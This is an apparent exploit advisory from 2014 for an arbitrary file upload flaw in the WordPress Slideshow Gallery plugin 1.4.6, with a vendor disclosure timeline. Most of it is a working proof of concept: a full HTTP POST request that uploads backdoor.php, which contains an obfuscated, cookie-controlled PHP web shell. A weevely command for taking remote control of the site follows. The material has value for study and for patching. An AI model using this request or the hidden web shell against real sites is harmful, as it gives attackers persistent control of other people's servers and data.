WordPress Plugin Slideshow Gallery 1.4.6 – Arbitrary File Upload
Summary: WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability. Found by: Jesus Ramirez Pichardo @whitexploit http://whitexploit.blogspot.mx/ Date: 2014-08-28 Vendor Homepage: http://tribulant.com/ Software: Slideshow Gallery Version: 1.4.6 Software Link: http://downloads.wordpress.org/plugin/slideshow-gallery.1.4.6.zip Tested on: Windows 7 OS, Wordpress 3.9.2 and Chrome Browser. Description: I found a serious security vulnerability in the Slideshow Gallery plugin. This bug allows an attacker to upload any php file remotely to the vulnerable website (administrator by default). I have tested and verified that having the current version of the plugin installed in a WordPress installation will allow any registered user (Administrator, Editor, Author, Contributor and Subscriber), to upload a PHP shell to exploit the host system. Backdoor location: http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php Today (2014-08-29), I did the notification to vendor and they gave me feedback about the vulnerability by email. The vendor has released a patch a few hours ago. (SlideShow Gallery version 1.4.7 at https://wordpress.org/plugins/slideshow-gallery/changelog). Proof of Concept (PoC): 1. An attacker uploads a PHP shell file (i.e. backdoor.php): POST http://192.168.31.128/wordpress/wp-admin/admin.php?page=slideshow- slides&method=save HTTP/1.1 Host: 192.168.31.128 Connection: keep-alive Content-Length: 2168 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.31.128 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEGMugMZ1CVkRzbxV DNT: 1 Referer: http://192.168.31.128/wordpress/wp-admin/admin.php?page=slideshow- slides&method=save Accept-Encoding: gzip,deflate Accept-Language: es-ES,es;q=0.8,en;q=0.6,it;q=0.4,und;q=0.2 Cookie: wordpress_a8ed7709a5b8081c924ceda6269a7962=master%7C1409465845%7C9ee160d2851bbcdaa2865 e9010d92d46; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_a8ed7709a5b8081c924ceda6269a7962=master%7C1409465845%7C0565892d6d7 f9de1022e4ad95b45d4ac; wp-settings-1=libraryContent%3Dupload%26editor%3Dtinymce; wp- settings-time-1=1409293045 ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[id]" ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[order]" ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[title]" Test Shell Upload ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[description]" ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[showinfo]" both ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[iopacity]" 70 ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[galleries][]" 1 ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[type]" file ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="image_file"; filename="backdoor.php" Content-Type: application/octet-stream <?php $kvgk = str_replace("y","","ysytyry_yreypylyayce"); $dawj="pdGV4cGxvaXQnO2VzhjaGzh8gJzwnLiRrzhLic+JzzhtldmFsKGJhc2U2NF9kZWNvZGUz"; $asrp="gnJywnKycpLCBqb2luKGFycmF5X3NsaWNlKCRhLCRjKzhCRhKS0zKSkpKSk7ZWzhNobyAnPC8nLzhiR rLic+Jzt9"; $gxfr="hocHJlZ19yzhZXBsYzhWNlKzhGFycmF5KCcvW15cdz1cc1zh0vJywnzhLzh1xzzhLycpLCBhcnJheSz h"; $fdcd="JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihzhyZXNldCgkYSk9PSd3zhaCcgJiYgJGMzhoJGEpPjMpe zhyRrPSd"; $uuod = $kvgk("j", "", "bjase6j4j_jdjejcjojde"); $qcon = $kvgk("av","","avcraveaavteav_avfavuavnavcavtiavoavn"); $rpgy = $qcon('', $uuod($kvgk("zh", "", $fdcd.$dawj.$gxfr.$asrp))); $rpgy(); ?> ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[image_url]" ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[uselink]" N ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[link]" ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="Slide[linktarget]" self ------WebKitFormBoundaryEGMugMZ1CVkRzbxV Content-Disposition: form-data; name="submit" Save Slide ------WebKitFormBoundaryEGMugMZ1CVkRzbxV-- 2. The backdoor is located at http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php 3. The attacker uses a security tool (i.e. weevely) in order to communicate with the backdoor. #weevely http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php whitexploit Now the attacker has a “telnet-like console”. Finally, the attacker has the remote control of the vulnerable website. Vulnerability Disclosure Timeline: 2014-08-28: Discovered vulnerability 2014-08-29: Vendor Notification (support@tribulant.com) 2014-08-29: Vendor Response/Feedback 2014-08-29: Vendor Fix/Patch 2014-08-30: Public Disclosure |